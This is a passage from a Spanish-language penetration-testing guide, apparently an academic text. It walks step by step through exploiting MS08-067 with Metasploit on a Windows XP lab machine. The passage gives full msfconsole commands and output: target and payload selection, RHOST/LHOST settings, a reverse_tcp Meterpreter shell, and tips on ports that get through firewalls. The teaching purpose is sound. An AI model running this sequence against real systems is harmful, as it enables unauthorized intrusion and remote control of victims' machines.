O bien, para encontrar el exploit MS08-067 en concreto (un exploit relacionado con el
famoso gusano Conficker que se aprovechaba de una debilidad dentro de la llamada a
procedimiento remoto [RPC] de servicio), tiene que escribir el siguiente comando:
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name
Rank
Description
----------------windows/smb/ms08_067_netapi great
Microsoft Server Service Relative Path Stack Corruption

Entonces, habiendo encontrado un exploit en (windows/smb/ms08_067_netapi), podra


cargar el mdulo encontrado con el comando de uso, as:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Tenga en cuenta que cuando se ejecute el comando use windows/smb/ms08_067_netapi, el


msf cambia el prompt de la siguiente manera:
msf exploit(ms08_067_netapi)

Esto indica que hemos seleccionado el mdulo ms08_067_netapi y que las rdenes
emitidas en este sistema se llevarn a cabo en bajo este exploit. Ahora, con nuestro mdulo
cargado en el prompt, podemos ingresar el comando show options para mostrar las
opciones especficas para el exploit MS08-067:

88

msf exploit(ms08_067_netapi) > show options


Module options:
Name
Current Setting
Required
------------------------RHOST
yes
RPORT
445
yes
SMBPIPE
BROWSER
yes

Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id
Name
----0
Automatic Targeting
msf exploit(ms08_067_netapi) >

Este enfoque contextual de opciones de acceso mantiene la interfaz ms simple y le permite


centrarse slo en las opciones que importa en este momento.

msf> show Payloads


Un payload es el cdigo que queremos ejecutar en el sistema remoto y que se va a
seleccionar y entregar por medio del Metasploit Framework. Por ejemplo, un reverse shell
(o Shell inverso) es un payload que crea una conexin desde el equipo remoto bajo ataque
hacia el equipo atacante, el cual permite abrir una shell o lnea de comando (C:> o
root@user:~#) para la manipulacin de la maquina remota (por ejemplo, el smbolo del
sistema de Windows) Por otro lado, un bind shell es un payload que "enlaza" a un smbolo
del sistema por medio de un puerto de escucha en la mquina destino, y en donde el
atacante puede conectarse a esta.
Al igual que con el comando show options podemos ejecutar el comando show payloads
para que Metasploit muestra slo los payloads que son compatibles con ese mdulo. En el

89

caso de los exploit basados en Microsoft Windows, estos payloads pueden ser tan simples
como un smbolo del sistema C:> o root@user:~#) en el destino o tan complejo como
una interfaz grfica completa en la mquina objetivo. Para ver una lista activa de cargas
tiles, ejecute el comando siguiente:
msf> show payloads

Esto le mostrar todas los payloads tiles disponibles en Metasploit, sin embargo, si se est
con un exploit activo, ver slo los payloads que se aplica a este ataque. Por ejemplo, al
ejecutar show payloads desde la lnea de comando msf exploit (ms08_067_netapi) dara
lugar a la salida que se muestra a continuacin.

En el ejemplo anterior hemos buscado el mdulo MS08-067. Ahora vamos a averiguar los
payloads para este mdulo mediante la introduccin del comando show payloads. Observe
en este ejemplo que los Payloads que se muestran slo son los que estn basado en
Windows. Metasploit generalmente identifica el tipo de payloads que pueden ser utilizados
en un ataque en particular.
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name
Rank
------. . . SNIP . . .
windows/shell/reverse_ipv6_tcp
normal
windows/shell/reverse_nonx_tcp

normal

windows/shell/reverse_ord_tcp

normal

90

Description
----------Windows Command Shell, Reverse TCP
Stager (IPv6)
Windows Command Shell, Reverse TCP
Stager (No NX or Win7)
Windows Command Shell, Reverse

Ordinal TCP Stager (No NX or Win7)


windows/shell/reverse_tcp

normal

windows/shell/reverse_tcp_allports

normal

windows/shell_bind_tcp

normal

windows/shell_reverse_tcp

normal

Windows Command Shell, Reverse TCP


Stager
Windows Command Shell, Reverse
All-Port TCP Stager
Windows Command Shell, Bind TCP
Inline
Windows Command Shell, Reverse TCP
Inline

A continuacin, ingrese set payload Windows/ shell / reverse_tcp para seleccionar el


payload reverse_tcp. Cuando ingresamos show options una vez ms vemos que las
opciones adicionales se muestran:
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name
Current Setting
Required
Description
----------------------------------RHOST
yes
The target address
RPORT
445
yes
Set the SMB service port
SMBPIPE
BROWSER
yes
The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name
Current Setting
-----------------EXITFUNC
thread
LHOST
LPORT
4444

Required
-------yes
yes
yes

Description
----------Exit technique: seh, thread, process
The local address
The local port

Observe que cuando el payload es seleccionado y las opciones se muestran, se nos presenta
con algunas opciones adicionales en la seccin del payload, como LHOST y LPORT. En
este ejemplo, podra configurar el payload para conectar a la mquina atacante en una
direccin especfica IP y el nmero de puerto, llamado payload inverso (reverse payload).
En esta, la conexin es en realidad llevada a cabo por la mquina de objetivo y se conecta
91

con la del atacante. Usted puede utilizar esta tcnica para evitar un firewall o un NAT.
Vamos a configurar este exploit con las opciones LHOST y RHOST. LHOST, en la
mquina atacante, se conectar de nuevo a la mquina de destino (RHOST) en el puerto
TCP por defecto (4444).

msf>show targets

Los mdulos a menudo muestran una lista de posibles objetivos vulnerables. Por ejemplo,
la vulnerabilidad MS08-067 est basada en los cdigos no modificables de las direcciones
de memoria, los exploit deben ser especficos para ciertos sistemas operativos con los
niveles de parches especficos, versin lenguaje e implementacin de seguridad. Usando el
comando show target en la lnea de comando msf MS08-067 se muestra una lista de los
60 objetivos a explotar (con slo una porcin como se muestra en el siguiente ejemplo).
El
est

xito

de

un

exploit depender

atacando. A veces, la

de

la versin

de

Windows

que

se

deteccin automtica no funciona, e incluso podra

activar el exploit equivocado, lo que suele dar lugar a una detencin del servicio.
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
----0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)

92

8 Windows 2003 SP2 English (NO NX)


9 Windows 2003 SP2 English (NX)

En este ejemplo, se puede ver que en la lista de exploit Automatic Targeting como una
opcin. A menudo, un mdulo exploit intentar acceder el sistema operativo de forma
automtica, en funcin de su versin y de seleccin de un exploit basado en su huella
digital (fingerprint). Sin embargo, a menudo es mejor tratar de identificar el exploit
adecuado uno mismo para evitar el desencadenamiento de un exploit incorrecto con unos
resultados potencialmente catastroficos.

set and unset


Todas las opciones para un mdulo de Metasploit determinado, deben especificar las
opciones set y unset, sobre todo si se marcan como required o yes. Al ingresar el comando
show options, ver la informacin especifica si un campo es obligatorio. Utilice el
comando set para configurar una opcin (encender), y use unset para definir e ajuste de
apagado. La siguiente lista muestra los comandos set y unset en uso.
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > show options
Module options:
Name
Current Setting
Required
Description
----------------------------------RHOST
192.168.1.155
yes
The target address
RPORT
445
yes
Set the SMB service port
SMBPIPE
BROWSER
yes
The pipe name to use (BROWSER, SRVSVC)
Exploit target:

93

Id
-3

Name
---Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST


Unsetting RHOST...

Con RHOST configuramos el objetivo a atacar el cual tiene una direccin IP


192.168.1.155. Luego configuramos en 3 la maquina objetivo, la cual sabemos que posee
Windows XP SP2 English (NX), el cual observamos en la lista al usar el comando show
targets en el prompt msf>. Ejecutamos el comando show options para confirmar que
nuestra configuracin ha sido exitosa, como se muestra el Module options.

Explotando una maquina


Con algunos de los fundamentos obtenidos y la comprensin de cmo establecer variables
dentro del msfconsole, vamos a explotar nuestra primera mquina. Para ello, usaremos las
mquinas virtuales Windows XP Service Pack 2. Vamos a utilizar Metasploit desde
BackTrack. Si utiliza los escneres de vulnerabilidad descritos en este documento contra la
mquina virtual de Windows XP SP2, encontrar las vulnerabilidades explicadas en el
exploit MS08-067. Vamos a empezar por la bsqueda de esta vulnerabilidad por nuestra
cuenta. A medida que sus habilidades como pen-tester mejoren, el descubrimiento de
ciertas puertos abiertos dar lugar a ideas acerca de cmo se puede explotar un servicio
particular. Una de las mejores maneras para llevar a cabo esta comprobacin es mediante el

94

uso de las opciones de secuencia de comandos de NMap dentro de Metasploit, como se


muestra aqu:
root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole
. . . SNIP . . .
msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.
Nmap scan report for 192.168.33.130
Host is up (0.00050s latency).
Not shown: 991 closed port
PORT
STATE
SERVICE
VERSION
21/tcp
open
ftp
Microsoft ftpd
25/tcp
open
smtp
Microsoft ESMTP 6.0.2600.2180
80/tcp
open
http
Microsoft IIS webserver 5.1
135/tcp
open
msrpc
Microsoft Windows RPC
139/tcp
open
netbios-ssn
443/tcp
open
https?
445/tcp
open
microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp
open
msrpc
Microsoft Windows RPC
1433/tcp
open
ms-sql-s
Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows
Host script results:
smb-check-vulns:
MS08-067: VULNERABLE
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
OS and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
msf >

95

Aqu, ejecutamos NMap con el plug-in - script=smb-check-vulns . Observe las


utilizadas durante la exploracin de la mquina con NMap.

banderas

La -sT es una conexin

TCP en modo furtivo, la cual es la bandera ms confiable cuando se trata de enumerar los
puertos. (Otros prefieren -sS, o SYN Stealth.) La opcin A especifica una deteccin
avanzada del sistema operativo (OS), la cual tambin realiza algunas capturas de
banners adicionales y de huella digitales de un servicio especfico.

Observe

que

en los

067: VULNERABLE.

resultados
Este

es

de NMap
un buen

se

reporta

indicio

de

la

vulnerabilidad MS08-

que tenemos la

oportunidad

de explotar este sistema. Usaremos a Metasploit para encontrar el exploit que queremos
usar para comprometer el sistema. Este exploit es especfico para la versin del sistema
operativo, para el Service Pack y para el lenguaje usado en el sistema.

Basndose en los resultados de escaneo NMap, podemos

decir

que

el

sistema est

ejecutando Windows XP Service Pack 2. (Tambin es posible identificarlo en caso de que


sea Windows 2003) asumimos que nuestro objetivo est corriendo en el idioma ingles.

Ahora explotaremos las vulnerabilidades del sistema:


msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name
Rank
Description
----------------windows/smb/ms08_067_netapi great
Microsoft Server Service Relative Path Stack
Corruption

96

msf > use windows/smb/ms08_067_netapi


msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id
Name
----0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
3
Windows XP SP2 English (NX)
4
Windows XP SP3 English (NX)
5
Windows 2003 SP0 Universal
6
Windows 2003 SP1 English (NO NX)
7
Windows 2003 SP1 English (NX)
8
Windows 2003 SP2 English (NO NX)
9
Windows 2003 SP2 English (NX)
. . . SNIP . . .
26 Windows XP SP2 Japanese (NX)
. . . SNIP . . .
msf exploit(ms08_067_netapi)
target => 3
msf exploit(ms08_067_netapi)
RHOST => 192.168.33.130
msf exploit(ms08_067_netapi)
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi)
LPORT => 8080
msf exploit(ms08_067_netapi)

> set TARGET 3


> set RHOST 192.168.33.130
> set LHOST 192.168.33.129
> set LPORT 8080
> show options

Module options:
Name
Current Setting
-----------------RHOST
192.168.33.130
RPORT
445
SMBPIPE
BROWSER

Required
-------yes
yes
yes

Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):


Name
---EXITFUNC
LHOST
LPORT

Current Setting
--------------thread
192.168.33.129
8080

Required
-------yes
yes
yes

Exploit target:

97

Description
----------Exit technique: seh, thread, process
The local address
The local port

Id
-3

Name
---Windows XP SP2 English (NX)

Primero buscamos el exploit para MS08-067 NetAPI. Entonces teniendo a nuestro exploit,
cargamos el exploit windows/smb/ms08_067_netapi. Posteriormente configuramos el
payload basado en el Meterpreter reverse_tcp de Windows, el cual comenzar una
conexin con la maquina objetivo y conectar de nuevo a la mquina atacante especificada
con LHOST. Esto es importante si te encuentras con que un servidor de seguridad est en
su lugar y hay que evitar los controles de entrada en un cortafuego o NAT. Meterpreter es
una herramienta de explotacin que vamos a utilizar a travs de este ejemplo. Una de las
herramientas emblemticas de Metasploit, hace que la extraccin de informacin de los
sistemas comprometidos sea mucho ms fcil. El comando show target nos permite
identificar el sistema que queremos atacar. (Aunque muchos exploits de MSF utiliza la
orientacin automtica y no requieren de esta bandera, la capacidad de deteccin
automtica en general, no en MS08-067.) A continuacin, establecemos nuestro objetivo a
Windows XP SP2 Ingls (NX). NX est configurado en No Ejecutar (No Execute). De
forma predeterminada en Windows XP SP2, DEP est habilitado. Luego configuramos la
direccin IP del equipo de destino definindolo en RHOST. El comando LHOST especifica
la direccin IP de nuestra mquina atacante, y la opcin LPORT especifica el puerto por el
cual nuestra mquina atacante escucha la conexin de nuestro objetivo. (Cuando est
configurando la opcin LPORT, utilice un puerto estndar que esta permite a travs del
firewall: Puertos 443, 80, 53, y 8080 son a menudo buenas Opciones.) Por ltimo,
ingresamos show options en la opcion

para asegurarse de que las opciones estn

98

configuradas correctamente. Teniendo configurada esta etapa, vamos a realizar una


explotacin real:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.33.129:8080
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487)
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
Id
-1

Type
---meterpreter

Information
-----------

Connection
---------192.168.33.129:8080 -> 192.168.33.130:1036

msf exploit(ms08_067_netapi) > sessions -i 1


[*] Starting interaction with 1...
meterpreter > shell
Process 4060 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

El comando exploit inicia nuestro exploit y trata de atacar a el objetivo. El ataque tiene
xito y nos da un Meterpreter reverse_tcp , la que podemos ver con el comando sesions -l .
Slo una sesin est activa, pero si atacamos mltiples sistemas, varias sesiones se podran
abrir simultneamente. (Para ver una lista de los exploit que crearon cada sesin, tenemos
que ingresar sesions l v.) El comando sesions -i se usa en para interactuar con un sesion
individual. Tenga en cuenta que esto nos deja en el Shell del Meterpreter. Por ltimo,
entramos al smbolo del sistema en la maquina objetivo.

99

4. CONCLUSIONES Y RECOMENDACIONES
Finalmente se puede decir que estas herramientas se deben usar con sumo cuidado, puesto
que podran acarrear graves problemas sobre la maquina atacada. Estas prcticas estn
reguladas por las leyes informticas en cada pas, su uso es exclusivo para hacking tico.

Esta gua es solo introductoria para las pruebas de penetracin, es decir que para
profundizar se debe indagar sobre cada una de las herramientas aqu descritas. Es necesario
aclarar que este tema es muy extenso y depende, en gran manera, de la pericia y la
experiencia del pen-tester.

Seor lector si usted no posee ninguna experiencia en redes, ni en programacin y tampoco


en la administracin y configuracin de sistemas operativos, le recomendamos
enfticamente no llevar a cabo estas pruebas sobre un sistema en produccin, porque los
resultados podran ser perjudiciales para la organizacin bajo evaluacin.

100

5. BIBLIOGRAFIA

BackTrack 4: Assuring Security by Penetration Testing Master the art of penetration


testing with BackTrack. Shakeel Ali, Tedi Heriyanto. Packt Publishing Open Source. 2011
METASPLOIT, The Penetration Testers Guide. by David Kennedy, Jim OGorman,
Devon Kearns, and Mati Aharoni. No Starch Press Inc. 2011-11-24

Hackig Etico. Carlos Tori. Argentina 2008

Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability


Research David Maynor, K. K. Mookhey. Syngress Publishing, Inc. 2007

http://www.pentest-standard.org/

http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/

SANS: The Top Cyber Security Risks (http://www.sans.org/top-cyber-security-risks/)

National Vulnerability Database Home (http://nvd.nist.gov/home.cfm)

SecurityFocus

101

102

103

Das könnte Ihnen auch gefallen